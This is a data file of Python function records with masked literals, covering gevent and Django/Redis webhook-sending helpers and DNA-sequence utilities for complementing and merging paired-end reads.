{"signature": "def safe_joinall(greenlets, timeout=None, raise_error=False):", "body": "greenlets = list(greenlets)<EOL>try:<EOL><INDENT>gevent.joinall(greenlets, timeout=timeout, raise_error=raise_error)<EOL><DEDENT>except gevent.GreenletExit:<EOL><INDENT>[greenlet.kill() for greenlet in greenlets if not greenlet.ready()]<EOL>raise<EOL><DEDENT>return greenlets<EOL>", "docstring": "Wrapper for gevent.joinall if the greenlet that waits for the joins is killed, it kills all the greenlets it\njoins for.", "id": "f5291:m9"}
{"signature": "@cached_property<EOL><INDENT>def deliveries(self):<DEDENT>", "body": "key = make_key(<EOL>event=self.object.event,<EOL>owner_name=self.object.owner.username,<EOL>identifier=self.object.identifier<EOL>)<EOL>return redis.lrange(key, <NUM_LIT:0>, <NUM_LIT:20>)<EOL>", "docstring": "Get delivery log from Redis", "id": "f5302:c2:m0"}
{"signature": "@job<EOL>def worker(wrapped, dkwargs, hash_value=None, *args, **kwargs):", "body": "if \"<STR_LIT>\" not in dkwargs:<EOL><INDENT>msg = \"<STR_LIT>\"<EOL>raise TypeError(msg)<EOL><DEDENT>event = dkwargs['<STR_LIT>']<EOL>if \"<STR_LIT>\" not in kwargs:<EOL><INDENT>msg = \"<STR_LIT>\"<EOL>raise TypeError(msg)<EOL><DEDENT>owner = kwargs['<STR_LIT>']<EOL>if \"<STR_LIT>\" not in kwargs:<EOL><INDENT>msg = \"<STR_LIT>\"<EOL>raise TypeError(msg)<EOL><DEDENT>identifier = kwargs['<STR_LIT>']<EOL>senderobj = DjangoRQSenderable(<EOL>wrapped, dkwargs, hash_value, WEBHOOK_ATTEMPTS, *args, **kwargs<EOL>)<EOL>senderobj.webhook_target = WebhookTarget.objects.get(<EOL>event=event,<EOL>owner=owner,<EOL>identifier=identifier<EOL>)<EOL>senderobj.url = senderobj.webhook_target.target_url<EOL>senderobj.payload = senderobj.get_payload()<EOL>senderobj.payload['<STR_LIT>'] = getattr(kwargs['<STR_LIT>'], WEBHOOK_OWNER_FIELD)<EOL>senderobj.payload['<STR_LIT>'] = dkwargs['<STR_LIT>']<EOL>return senderobj.send()<EOL>", "docstring": "This is an asynchronous sender callable that uses the Django ORM to store\n    webhooks. Redis is used to handle the message queue.\n\ndkwargs argument requires the following key/values:\n\n    :event: A string representing an event.\n\nkwargs argument requires the following key/values\n\n    :owner: The user who created/owns the event", "id": "f5303:m0"}
{"signature": "def redislog_callable(wrapped, dkwargs, hash_value=None, *args, **kwargs):", "body": "if \"<STR_LIT>\" not in dkwargs:<EOL><INDENT>msg = \"<STR_LIT>\"<EOL>raise TypeError(msg)<EOL><DEDENT>event = dkwargs['<STR_LIT>']<EOL>if \"<STR_LIT>\" not in kwargs:<EOL><INDENT>msg = \"<STR_LIT>\"<EOL>raise TypeError(msg)<EOL><DEDENT>owner = kwargs['<STR_LIT>']<EOL>if \"<STR_LIT>\" not in kwargs:<EOL><INDENT>msg = \"<STR_LIT>\"<EOL>raise TypeError(msg)<EOL><DEDENT>identifier = kwargs['<STR_LIT>']<EOL>senderobj = RedisLogSenderable(<EOL>wrapped, dkwargs, hash_value, WEBHOOK_ATTEMPTS, *args, **kwargs<EOL>)<EOL>try:<EOL><INDENT>senderobj.webhook_target = WebhookTarget.objects.get(<EOL>event=event,<EOL>owner=owner,<EOL>identifier=identifier<EOL>)<EOL><DEDENT>except WebhookTarget.DoesNotExist:<EOL><INDENT>return {\"<STR_LIT:error>\": \"<STR_LIT>\"}<EOL><DEDENT>senderobj.url = senderobj.webhook_target.target_url<EOL>senderobj.payload = senderobj.get_payload()<EOL>senderobj.payload['<STR_LIT>'] = getattr(kwargs['<STR_LIT>'], WEBHOOK_OWNER_FIELD)<EOL>senderobj.payload['<STR_LIT>'] = dkwargs['<STR_LIT>']<EOL>return senderobj.send()<EOL>", "docstring": "This is a synchronous sender callable that uses the Django ORM to store\n    webhooks and Redis for the delivery log.\n\ndkwargs argument requires the following key/values:\n\n    :event: A string representing an event.\n\nkwargs argument requires the following key/values\n\n    :owner: The user who created/owns the event", "id": "f5305:m1"}
{"signature": "def __init__(self, wrapped, dkwargs, hash_value, attempts, *args, **kwargs):", "body": "self.event = dkwargs['<STR_LIT>']<EOL>self.owner = kwargs['<STR_LIT>']<EOL>self.identifier = kwargs['<STR_LIT>']<EOL>super(RedisLogSenderable, self).__init__(wrapped, dkwargs, hash_value, attempts, *args, **kwargs)<EOL>", "docstring": ":wrapped: Function that has been wrapped and whose payload is being sent", "id": "f5305:c0:m0"}
{"signature": "def notify(self, message):", "body": "data = dict(<EOL>payload=self.payload,<EOL>attempt=self.attempt,<EOL>success=self.success,<EOL>response_message=self.response_content,<EOL>hash_value=self.hash_value,<EOL>response_status=self.response.status_code,<EOL>notification=message,<EOL>created=timezone.now()<EOL>)<EOL>value = json.dumps(data, cls=StandardJSONEncoder)<EOL>key = make_key(self.event, self.owner.username, self.identifier)<EOL>redis.lpush(key, value)<EOL>", "docstring": "TODO: Add code to lpush to redis stack\n        rpop when stack hits size 'X'", "id": "f5305:c0:m1"}
{"signature": "def orm_callable(wrapped, dkwargs, hash_value=None, *args, **kwargs):", "body": "if \"<STR_LIT>\" not in dkwargs:<EOL><INDENT>msg = \"<STR_LIT>\"<EOL>raise TypeError(msg)<EOL><DEDENT>event = dkwargs['<STR_LIT>']<EOL>if \"<STR_LIT>\" not in kwargs:<EOL><INDENT>msg = \"<STR_LIT>\"<EOL>raise TypeError(msg)<EOL><DEDENT>owner = kwargs['<STR_LIT>']<EOL>if \"<STR_LIT>\" not in kwargs:<EOL><INDENT>msg = \"<STR_LIT>\"<EOL>raise TypeError(msg)<EOL><DEDENT>identifier = kwargs['<STR_LIT>']<EOL>senderobj = DjangoSenderable(<EOL>wrapped, dkwargs, hash_value, WEBHOOK_ATTEMPTS, *args, **kwargs<EOL>)<EOL>try:<EOL><INDENT>senderobj.webhook_target = WebhookTarget.objects.get(<EOL>event=event,<EOL>owner=owner,<EOL>identifier=identifier<EOL>)<EOL><DEDENT>except WebhookTarget.DoesNotExist:<EOL><INDENT>return {\"<STR_LIT:error>\": \"<STR_LIT>\"}<EOL><DEDENT>senderobj.url = senderobj.webhook_target.target_url<EOL>senderobj.payload = senderobj.get_payload()<EOL>senderobj.payload['<STR_LIT>'] = getattr(kwargs['<STR_LIT>'], WEBHOOK_OWNER_FIELD)<EOL>senderobj.payload['<STR_LIT>'] = dkwargs['<STR_LIT>']<EOL>return senderobj.send()<EOL>", "docstring": "This is a synchronous sender callable that uses the Django ORM to store\n    webhooks and the delivery log. Meant as proof of concept and not\n    as something for heavy production sites.\n\ndkwargs argument requires the following key/values:\n\n    :event: A string representing an event.\n\nkwargs argument requires the following key/values\n\n    :owner: The user who created/owns the event", "id": "f5306:m0"}
{"signature": "def always_string(value):", "body": "if sys.version > '<STR_LIT:3>':<EOL><INDENT>return value.decode('<STR_LIT:utf-8>')<EOL><DEDENT>return value<EOL>", "docstring": "Regardless of the Python version, this always returns a string", "id": "f5308:m0"}
{"signature": "def event_choices(events):", "body": "if events is None:<EOL><INDENT>msg = \"<STR_LIT>\"<EOL>raise ImproperlyConfigured(msg)<EOL><DEDENT>try:<EOL><INDENT>choices = [(x, x) for x in events]<EOL><DEDENT>except TypeError:<EOL><INDENT>\"\"\"<STR_LIT>\"\"\"<EOL>msg = \"<STR_LIT>\"<EOL>raise ImproperlyConfigured(msg)<EOL><DEDENT>return choices<EOL>", "docstring": "Get the possible events from settings", "id": "f5309:m0"}
{"signature": "def memoize(func):", "body": "class Memodict(dict):<EOL><INDENT>\"\"\"<STR_LIT>\"\"\"<EOL>def __getitem__(self, *key):<EOL><INDENT>return dict.__getitem__(self, key)<EOL><DEDENT>def __missing__(self, key):<EOL><INDENT>\"\"\"<STR_LIT>\"\"\"<EOL>ret = self[key] = func(*key)<EOL>return ret<EOL><DEDENT><DEDENT>return Memodict().__getitem__<EOL>", "docstring": "Memoization decorator for a function taking one or more arguments.", "id": "f5312:m0"}
{"signature": "def ambigcutters(seq):", "body": "resos = []<EOL>if any([i in list(\"<STR_LIT>\") for i in seq]):<EOL><INDENT>for base in list(\"<STR_LIT>\"):<EOL><INDENT>if base in seq:<EOL><INDENT>resos.append(seq.replace(base, AMBIGS[base][<NUM_LIT:0>]))<EOL>resos.append(seq.replace(base, AMBIGS[base][<NUM_LIT:1>]))<EOL><DEDENT><DEDENT>return resos<EOL><DEDENT>else:<EOL><INDENT>return [seq, \"<STR_LIT>\"]<EOL><DEDENT>", "docstring": "Returns both resolutions of a cut site that has an ambiguous base in\nit, else the single cut site", "id": "f5312:m1"}
{"signature": "def splitalleles(consensus):", "body": "<EOL>allele1 = list(consensus)<EOL>allele2 = list(consensus)<EOL>hidx = [i for (i, j) in enumerate(consensus) if j in \"<STR_LIT>\"]<EOL>for idx in hidx:<EOL><INDENT>hsite = consensus[idx]<EOL>if hsite.isupper():<EOL><INDENT>allele1[idx] = PRIORITY[hsite]<EOL>allele2[idx] = MINOR[hsite]<EOL><DEDENT>else:<EOL><INDENT>allele1[idx] = MINOR[hsite.upper()]<EOL>allele2[idx] = PRIORITY[hsite.upper()]<EOL><DEDENT><DEDENT>allele1 = \"<STR_LIT>\".join(allele1)<EOL>allele2 = \"<STR_LIT>\".join(allele2)<EOL>return allele1, allele2<EOL>", "docstring": "takes diploid consensus alleles with phase data stored as a mixture\n    of upper and lower case characters and splits it into 2 alleles", "id": "f5312:m2"}
{"signature": "def comp(seq):", "body": "<EOL>return seq.replace(\"<STR_LIT:A>\", '<STR_LIT:t>').replace('<STR_LIT:T>', '<STR_LIT:a>').replace('<STR_LIT:C>', '<STR_LIT:g>').replace('<STR_LIT>', '<STR_LIT:c>').replace('<STR_LIT:n>', '<STR_LIT>').upper().replace(\"<STR_LIT>\", \"<STR_LIT:n>\")<EOL>", "docstring": "returns a seq with complement. Preserves little n's for splitters.", "id": "f5312:m3"}
{"signature": "def fullcomp(seq):", "body": "<EOL>seq = seq.replace(\"<STR_LIT:A>\", '<STR_LIT:u>').replace('<STR_LIT:T>', '<STR_LIT:v>').replace('<STR_LIT:C>', '<STR_LIT:p>').replace('<STR_LIT>', '<STR_LIT:z>').replace('<STR_LIT:u>', '<STR_LIT:T>').replace('<STR_LIT:v>', '<STR_LIT:A>').replace('<STR_LIT:p>', '<STR_LIT>').replace('<STR_LIT:z>', '<STR_LIT:C>')<EOL>seq = seq.replace('<STR_LIT:R>', '<STR_LIT:u>').replace('<STR_LIT>', '<STR_LIT:v>').replace('<STR_LIT:Y>', '<STR_LIT:b>').replace('<STR_LIT:M>', '<STR_LIT:o>').replace('<STR_LIT:u>', '<STR_LIT:Y>').replace('<STR_LIT:v>', '<STR_LIT:M>').replace('<STR_LIT:b>', '<STR_LIT:R>').replace('<STR_LIT:o>', '<STR_LIT>')<EOL>seq = seq.replace('<STR_LIT:r>', '<STR_LIT:u>').replace('<STR_LIT:k>', '<STR_LIT:v>').replace('<STR_LIT:y>', '<STR_LIT:b>').replace('<STR_LIT:m>', '<STR_LIT:o>').replace('<STR_LIT:u>', '<STR_LIT:y>').replace('<STR_LIT:v>', '<STR_LIT:m>').replace('<STR_LIT:b>', '<STR_LIT:r>').replace('<STR_LIT:o>', '<STR_LIT:k>')<EOL>return seq<EOL>", "docstring": "returns complement of sequence including ambiguity characters,\n    and saves lower case info for multiple hetero sequences", "id": "f5312:m4"}
{"signature": "def fastq_touchup_for_vsearch_merge(read, outfile, reverse=False):", "body": "counts = <NUM_LIT:0><EOL>with open(outfile, '<STR_LIT:w>') as out:<EOL><INDENT>if read.endswith(\"<STR_LIT>\"):<EOL><INDENT>fr1 = gzip.open(read, '<STR_LIT:rb>')<EOL><DEDENT>else:<EOL><INDENT>fr1 = open(read, '<STR_LIT:rb>')<EOL><DEDENT>quarts = itertools.izip(*[iter(fr1)]*<NUM_LIT:4>)<EOL>writing = []<EOL>while <NUM_LIT:1>:<EOL><INDENT>try:<EOL><INDENT>lines = quarts.next()<EOL><DEDENT>except StopIteration:<EOL><INDENT>break<EOL><DEDENT>if reverse:<EOL><INDENT>seq = lines[<NUM_LIT:1>].strip()[::-<NUM_LIT:1>]<EOL><DEDENT>else:<EOL><INDENT>seq = lines[<NUM_LIT:1>].strip()<EOL><DEDENT>writing.append(\"<STR_LIT>\".join([<EOL>lines[<NUM_LIT:0>],<EOL>seq+\"<STR_LIT:\\n>\",<EOL>lines[<NUM_LIT:2>],<EOL>\"<STR_LIT:B>\"*len(seq)<EOL>]))<EOL>counts += <NUM_LIT:1><EOL>if not counts % <NUM_LIT:1000>:<EOL><INDENT>out.write(\"<STR_LIT:\\n>\".join(writing)+\"<STR_LIT:\\n>\")<EOL>writing = []<EOL><DEDENT><DEDENT>if writing:<EOL><INDENT>out.write(\"<STR_LIT:\\n>\".join(writing))<EOL><DEDENT><DEDENT>out.close()<EOL>fr1.close()<EOL>", "docstring": "option to change orientation of reads and sets Qscore to B", "id": "f5312:m5"}
{"signature": "def merge_pairs_after_refmapping(data, two_files, merged_out):", "body": "<EOL>nonmerged1 = tempfile.NamedTemporaryFile(<EOL>mode='<STR_LIT:wb>',<EOL>dir=data.dirs.edits,<EOL>suffix=\"<STR_LIT>\").name<EOL>nonmerged2 = tempfile.NamedTemporaryFile(<EOL>mode='<STR_LIT:wb>',<EOL>dir=data.dirs.edits,<EOL>suffix=\"<STR_LIT>\").name <EOL>minlen = str(max(<NUM_LIT:32>, data.paramsdict[\"<STR_LIT>\"]))<EOL>try:<EOL><INDENT>maxn = sum(data.paramsdict['<STR_LIT>'])<EOL><DEDENT>except TypeError:<EOL><INDENT>maxn = data.paramsdict['<STR_LIT>']<EOL><DEDENT>tmp1 = two_files[<NUM_LIT:0>][<NUM_LIT:0>]<EOL>tmp2 = two_files[<NUM_LIT:0>][<NUM_LIT:1>]<EOL>fastq_touchup_for_vsearch_merge(tmp1, tmp1+\"<STR_LIT>\", False)<EOL>fastq_touchup_for_vsearch_merge(tmp2, tmp2+\"<STR_LIT>\", True)<EOL>cmd = [ipyrad.bins.vsearch,<EOL>\"<STR_LIT>\", tmp1+\"<STR_LIT>\",<EOL>\"<STR_LIT>\", tmp2+\"<STR_LIT>\",<EOL>\"<STR_LIT>\", merged_out,<EOL>\"<STR_LIT>\", nonmerged1,<EOL>\"<STR_LIT>\", nonmerged2,<EOL>\"<STR_LIT>\", \"<STR_LIT:0>\",<EOL>\"<STR_LIT>\", minlen,<EOL>\"<STR_LIT>\", str(maxn),<EOL>\"<STR_LIT>\", \"<STR_LIT>\",<EOL>\"<STR_LIT>\", \"<STR_LIT:4>\",<EOL>\"<STR_LIT>\", \"<STR_LIT>\",<EOL>\"<STR_LIT>\", \"<STR_LIT>\",<EOL>\"<STR_LIT>\", \"<STR_LIT:2>\",<EOL>\"<STR_LIT>\"]<EOL>proc = sps.Popen(cmd, stderr=sps.STDOUT, stdout=sps.PIPE)<EOL>try:<EOL><INDENT>res = proc.communicate()[<NUM_LIT:0>]<EOL><DEDENT>except KeyboardInterrupt:<EOL><INDENT>proc.kill()<EOL><DEDENT>if proc.returncode:<EOL><INDENT>LOGGER.error(\"<STR_LIT>\", cmd, res)<EOL>raise IPyradWarningExit(\"<STR_LIT>\", cmd, res)<EOL><DEDENT>with open(merged_out, '<STR_LIT:r>') as tmpf:<EOL><INDENT>nmerged = sum(<NUM_LIT:1> for i in tmpf.readlines()) // <NUM_LIT:4><EOL><DEDENT>with open(merged_out, '<STR_LIT>') as combout:<EOL><INDENT>fr1 = open(nonmerged1, '<STR_LIT:rb>')<EOL>quart1 = itertools.izip(*[iter(fr1)]*<NUM_LIT:4>)<EOL>fr2 = open(nonmerged2, '<STR_LIT:rb>')<EOL>quart2 = itertools.izip(*[iter(fr2)]*<NUM_LIT:4>)<EOL>quarts = itertools.izip(quart1, quart2)<EOL>writing = []<EOL>counts = <NUM_LIT:0><EOL>while <NUM_LIT:1>:<EOL><INDENT>try:<EOL><INDENT>read1s, read2s = quarts.next()<EOL><DEDENT>except StopIteration:<EOL><INDENT>break<EOL><DEDENT>writing.append(\"<STR_LIT>\".join([<EOL>read1s[<NUM_LIT:0>],<EOL>read1s[<NUM_LIT:1>].strip() + \"<STR_LIT>\" +read2s[<NUM_LIT:1>], <EOL>read1s[<NUM_LIT:2>],<EOL>read1s[<NUM_LIT:3>].strip() + \"<STR_LIT>\" +read2s[<NUM_LIT:3>], <EOL>]))<EOL>counts += <NUM_LIT:1><EOL>if not counts % <NUM_LIT:10>:<EOL><INDENT>combout.write(\"<STR_LIT>\".join(writing))<EOL>writing = []<EOL><DEDENT><DEDENT>if writing:<EOL><INDENT>combout.write(\"<STR_LIT>\".join(writing))<EOL><DEDENT>fr1.close()<EOL>fr2.close()<EOL>combout.close()<EOL><DEDENT>rmfiles = [nonmerged1, nonmerged2, tmp1, tmp2, tmp1+\"<STR_LIT>\", tmp2+\"<STR_LIT>\"]<EOL>for rmfile in rmfiles:<EOL><INDENT>if os.path.exists(rmfile):<EOL><INDENT>os.remove(rmfile)<EOL><DEDENT><DEDENT>return nmerged<EOL>", "docstring": "A function to merge fastq files produced by bam2fq.", "id": "f5312:m6"}
{"signature": "def merge_after_pysam(data, clust):", "body": "try:<EOL><INDENT>r1file = tempfile.NamedTemporaryFile(mode='<STR_LIT:wb>', delete=False,<EOL>dir=data.dirs.edits,<EOL>suffix=\"<STR_LIT>\")<EOL>r2file = tempfile.NamedTemporaryFile(mode='<STR_LIT:wb>', delete=False,<EOL>dir=data.dirs.edits,<EOL>suffix=\"<STR_LIT>\")<EOL>r1dat = []<EOL>r2dat = []<EOL>for locus in clust:<EOL><INDENT>sname, seq = locus.split(\"<STR_LIT:\\n>\")<EOL>sname = \"<STR_LIT:@>\" + sname[<NUM_LIT:1>:]<EOL>r1, r2 = seq.split(\"<STR_LIT>\")<EOL>r1dat.append(\"<STR_LIT>\".format(sname, r1, \"<STR_LIT:+>\", \"<STR_LIT:B>\"*(len(r1))))<EOL>r2dat.append(\"<STR_LIT>\".format(sname, r2, \"<STR_LIT:+>\", \"<STR_LIT:B>\"*(len(r2))))<EOL><DEDENT>r1file.write(\"<STR_LIT:\\n>\".join(r1dat))<EOL>r2file.write(\"<STR_LIT:\\n>\".join(r2dat))<EOL>r1file.close()<EOL>r2file.close()<EOL>merged_file = tempfile.NamedTemporaryFile(mode='<STR_LIT:wb>',<EOL>dir=data.dirs.edits,<EOL>suffix=\"<STR_LIT>\").name<EOL>clust = []<EOL>merge_pairs(data, [(r1file.name, r2file.name)], merged_file, <NUM_LIT:0>, <NUM_LIT:1>)<EOL>with open(merged_file) as infile:<EOL><INDENT>quarts = itertools.izip(*[iter(infile)]*<NUM_LIT:4>)<EOL>while <NUM_LIT:1>:<EOL><INDENT>try:<EOL><INDENT>sname, seq, _, _ = quarts.next()<EOL>if not \"<STR_LIT>\" in sname.rsplit(\"<STR_LIT:;>\", <NUM_LIT:1>)[<NUM_LIT:1>]:<EOL><INDENT>try:<EOL><INDENT>R1, R2 = seq.split(\"<STR_LIT>\")<EOL>seq = R1 + \"<STR_LIT>\" + revcomp(R2)<EOL><DEDENT>except ValueError as inst:<EOL><INDENT>LOGGER.error(\"<STR_LIT>\".format(sname, seq))<EOL>raise<EOL><DEDENT><DEDENT><DEDENT>except StopIteration:<EOL><INDENT>break<EOL><DEDENT>sname = \"<STR_LIT:>>\" + sname[<NUM_LIT:1>:]<EOL>clust.extend([sname.strip(), seq.strip()])<EOL><DEDENT><DEDENT><DEDENT>except:<EOL><INDENT>LOGGER.info(\"<STR_LIT>\")<EOL>raise<EOL><DEDENT>finally:<EOL><INDENT>for i in [r1file.name, r2file.name, merged_file]:<EOL><INDENT>if os.path.exists(i):<EOL><INDENT>log_level = logging.getLevelName(LOGGER.getEffectiveLevel())<EOL>os.remove(i)<EOL><DEDENT><DEDENT><DEDENT>return clust<EOL>", "docstring": "This is for pysam post-flight merging. The input is a cluster\nfor an individual locus. We have to split the clusters, write\nR1 and R2 to files then call merge_pairs(). This is not ideal,\nit's slow, but it works. This is the absolute worst way to do this,\nit bounces all the files for each locus off the disk. I/O _hog_.", "id": "f5312:m7"}
{"signature": "def merge_pairs(data, two_files, merged_out, revcomp, merge):", "body": "LOGGER.debug(\"<STR_LIT>\")<EOL>nmerged = -<NUM_LIT:1><EOL>for fhandle in two_files[<NUM_LIT:0>]:<EOL><INDENT>if not os.path.exists(fhandle):<EOL><INDENT>raise IPyradWarningExit(\"\"\"<STR_LIT>\"\"\".format(fhandle))<EOL><DEDENT><DEDENT>if os.path.exists(merged_out):<EOL><INDENT>os.remove(merged_out)<EOL><DEDENT>if merge:<EOL><INDENT>nonmerged1 = tempfile.NamedTemporaryFile(mode='<STR_LIT:wb>',<EOL>dir=data.dirs.edits,<EOL>suffix=\"<STR_LIT>\").name<EOL>nonmerged2 = tempfile.NamedTemporaryFile(mode='<STR_LIT:wb>',<EOL>dir=data.dirs.edits,<EOL>suffix=\"<STR_LIT>\").name<EOL><DEDENT>else:<EOL><INDENT>nonmerged1 = two_files[<NUM_LIT:0>][<NUM_LIT:0>]<EOL>nonmerged2 = two_files[<NUM_LIT:0>][<NUM_LIT:1>]<EOL><DEDENT>try:<EOL><INDENT>maxn = sum(data.paramsdict['<STR_LIT>'])<EOL><DEDENT>except TypeError:<EOL><INDENT>maxn = data.paramsdict['<STR_LIT>']<EOL><DEDENT>minlen = str(max(<NUM_LIT:32>, data.paramsdict[\"<STR_LIT>\"]))<EOL>if merge and two_files[<NUM_LIT:0>][<NUM_LIT:0>].endswith(\"<STR_LIT>\"):<EOL><INDENT>LOGGER.info(\"<STR_LIT>\")<EOL>tmp1 = os.path.splitext(two_files[<NUM_LIT:0>][<NUM_LIT:0>])[<NUM_LIT:0>]+\"<STR_LIT>\"<EOL>tmp2 = os.path.splitext(two_files[<NUM_LIT:0>][<NUM_LIT:1>])[<NUM_LIT:0>]+\"<STR_LIT>\"<EOL>out1 = open(tmp1, '<STR_LIT:w>')<EOL>out2 = open(tmp2, '<STR_LIT:w>')<EOL>gun1 = sps.Popen([\"<STR_LIT>\", \"<STR_LIT:-c>\", two_files[<NUM_LIT:0>][<NUM_LIT:0>]],<EOL>stderr=sps.STDOUT, stdout=out1, close_fds=True)<EOL>gun2 = sps.Popen([\"<STR_LIT>\", \"<STR_LIT:-c>\", two_files[<NUM_LIT:0>][<NUM_LIT:1>]],<EOL>stderr=sps.STDOUT, stdout=out2, close_fds=True)<EOL>_ = gun1.communicate()<EOL>_ = gun2.communicate()<EOL>out1.close()<EOL>out2.close()<EOL><DEDENT>else:<EOL><INDENT>tmp1 = two_files[<NUM_LIT:0>][<NUM_LIT:0>]<EOL>tmp2 = two_files[<NUM_LIT:0>][<NUM_LIT:1>]<EOL><DEDENT>try:<EOL><INDENT>if merge:<EOL><INDENT>cmd = [ipyrad.bins.vsearch,<EOL>\"<STR_LIT>\", tmp1,<EOL>\"<STR_LIT>\", tmp2,<EOL>\"<STR_LIT>\", merged_out,<EOL>\"<STR_LIT>\", nonmerged1,<EOL>\"<STR_LIT>\", nonmerged2,<EOL>\"<STR_LIT>\", \"<STR_LIT:0>\",<EOL>\"<STR_LIT>\", minlen,<EOL>\"<STR_LIT>\", str(maxn),<EOL>\"<STR_LIT>\", \"<STR_LIT>\",<EOL>\"<STR_LIT>\", \"<STR_LIT:4>\",<EOL>\"<STR_LIT>\", \"<STR_LIT>\",<EOL>\"<STR_LIT>\", \"<STR_LIT>\",<EOL>\"<STR_LIT>\", \"<STR_LIT:2>\",<EOL>\"<STR_LIT>\"]<EOL>LOGGER.debug(\"<STR_LIT>\", \"<STR_LIT:U+0020>\".join(cmd))<EOL>proc = sps.Popen(cmd, stderr=sps.STDOUT, stdout=sps.PIPE)<EOL>try:<EOL><INDENT>res = proc.communicate()[<NUM_LIT:0>]<EOL><DEDENT>except KeyboardInterrupt:<EOL><INDENT>proc.kill()<EOL><DEDENT>if proc.returncode:<EOL><INDENT>LOGGER.error(\"<STR_LIT>\", cmd, res)<EOL>rmfiles = [os.path.splitext(two_files[<NUM_LIT:0>][<NUM_LIT:0>])[<NUM_LIT:0>]+\"<STR_LIT>\",<EOL>os.path.splitext(two_files[<NUM_LIT:0>][<NUM_LIT:1>])[<NUM_LIT:0>]+\"<STR_LIT>\",<EOL>nonmerged1, nonmerged2]<EOL>for rmfile in rmfiles:<EOL><INDENT>if os.path.exists(rmfile):<EOL><INDENT>os.remove(rmfile)<EOL><DEDENT><DEDENT>raise IPyradWarningExit(\"<STR_LIT>\", cmd, res)<EOL><DEDENT>with open(merged_out, '<STR_LIT:r>') as tmpf:<EOL><INDENT>nmerged = sum(<NUM_LIT:1> for i in tmpf.readlines()) // <NUM_LIT:4><EOL><DEDENT><DEDENT>with open(merged_out, '<STR_LIT>') as combout:<EOL><INDENT>if nonmerged1.endswith(\"<STR_LIT>\"):<EOL><INDENT>fr1 = gzip.open(nonmerged1, '<STR_LIT:rb>')<EOL><DEDENT>else:<EOL><INDENT>fr1 = open(nonmerged1, '<STR_LIT:rb>')<EOL><DEDENT>quart1 = itertools.izip(*[iter(fr1)]*<NUM_LIT:4>)<EOL>if nonmerged2.endswith(\"<STR_LIT>\"):<EOL><INDENT>fr2 = gzip.open(nonmerged2, '<STR_LIT:rb>')<EOL><DEDENT>else:<EOL><INDENT>fr2 = open(nonmerged2, '<STR_LIT:rb>')<EOL><DEDENT>quart2 = itertools.izip(*[iter(fr2)]*<NUM_LIT:4>)<EOL>quarts = itertools.izip(quart1, quart2)<EOL>writing = []<EOL>counts = <NUM_LIT:0><EOL>while <NUM_LIT:1>:<EOL><INDENT>try:<EOL><INDENT>read1s, read2s = quarts.next()<EOL><DEDENT>except StopIteration:<EOL><INDENT>break<EOL><DEDENT>if revcomp:<EOL><INDENT>writing.append(\"<STR_LIT>\".join([<EOL>read1s[<NUM_LIT:0>],<EOL>read1s[<NUM_LIT:1>].strip() + \"<STR_LIT>\" +comp(read2s[<NUM_LIT:1>].strip()[::-<NUM_LIT:1>]) + \"<STR_LIT:\\n>\",<EOL>read1s[<NUM_LIT:2>],<EOL>read1s[<NUM_LIT:3>].strip() + \"<STR_LIT>\" +read2s[<NUM_LIT:3>].strip()[::-<NUM_LIT:1>] + \"<STR_LIT:\\n>\",<EOL>]))<EOL><DEDENT>else:<EOL><INDENT>writing.append(\"<STR_LIT>\".join([<EOL>read1s[<NUM_LIT:0>],<EOL>read1s[<NUM_LIT:1>].strip() + \"<STR_LIT>\" +read2s[<NUM_LIT:1>],<EOL>read1s[<NUM_LIT:2>],<EOL>read1s[<NUM_LIT:3>].strip() + \"<STR_LIT>\" +read2s[<NUM_LIT:3>],<EOL>]))<EOL><DEDENT>counts += <NUM_LIT:1><EOL>if not counts % <NUM_LIT:10>:<EOL><INDENT>combout.write(\"<STR_LIT>\".join(writing)) <EOL>writing = []<EOL><DEDENT><DEDENT>if writing:<EOL><INDENT>combout.write(\"<STR_LIT>\".join(writing))<EOL><DEDENT><DEDENT>fr1.close()<EOL>fr2.close()<EOL>combout.close()<EOL><DEDENT>except Exception as inst:<EOL><INDENT>LOGGER.error(\"<STR_LIT>\".format(inst))<EOL>raise<EOL><DEDENT>finally:<EOL><INDENT>if merge:<EOL><INDENT>rmfiles = [nonmerged1, nonmerged2,<EOL>os.path.splitext(two_files[<NUM_LIT:0>][<NUM_LIT:0>])[<NUM_LIT:0>]+\"<STR_LIT>\",<EOL>os.path.splitext(two_files[<NUM_LIT:0>][<NUM_LIT:1>])[<NUM_LIT:0>]+\"<STR_LIT>\"]<EOL>for rmfile in rmfiles:<EOL><INDENT>if os.path.exists(rmfile):<EOL><INDENT>os.remove(rmfile)<EOL><DEDENT><DEDENT><DEDENT><DEDENT>return nmerged<EOL>", "docstring": "Merge PE reads. Takes in a list of unmerged files [r1, r2] and the\nfilehandle to write merged data to, and it returns the number of reads\nthat were merged (overlapping). If merge==0 then only concat pairs (nnnn),\nno merging in vsearch.\n\nParameters\n-----------\ntwo_files (tuple):\n    A list or tuple of the [r1, r2] files to be merged. \n\nmerged_out (str):\n    A string file handle for the merged data to be written to. \n\nrevcomp (bool):\n    Whether or not to revcomp the R2s. \n\nmerge (bool):\n    Whether or not to perform vsearch merging. If not then reads are simply\n    concatenated with a 'nnnn' separator. \n\nReturns\n--------\nIf merge is on then the func will return the number of pairs \nsuccessfully merged, else it returns -1.", "id": "f5312:m8"}
{"signature": "def revcomp(sequence):", "body": "sequence = sequence[::-<NUM_LIT:1>].strip().replace(\"<STR_LIT:A>\", \"<STR_LIT:t>\").replace(\"<STR_LIT:T>\", \"<STR_LIT:a>\").replace(\"<STR_LIT:C>\", \"<STR_LIT:g>\").replace(\"<STR_LIT>\", \"<STR_LIT:c>\").upper()<EOL>return sequence<EOL>", "docstring": "returns reverse complement of a string", "id": "f5312:m10"}
{"signature": "def unhetero(amb):", "body": "amb = amb.upper()<EOL>return AMBIGS.get(amb)<EOL>", "docstring": "returns bases from ambiguity code", "id": "f5312:m11"}
{"signature": "def unstruct(amb):", "body": "amb = amb.upper()<EOL>return DUCT.get(amb)<EOL>", "docstring": "This is copied from pyrad.alignable, and is referenced in\n    several of the loci2*.py conversion modules. It duplicates some\n    of the effort of unhetero(), but i guess it's fine for now. Probably\n    could merge these two functions if you wanted to.", "id": "f5312:m12"}
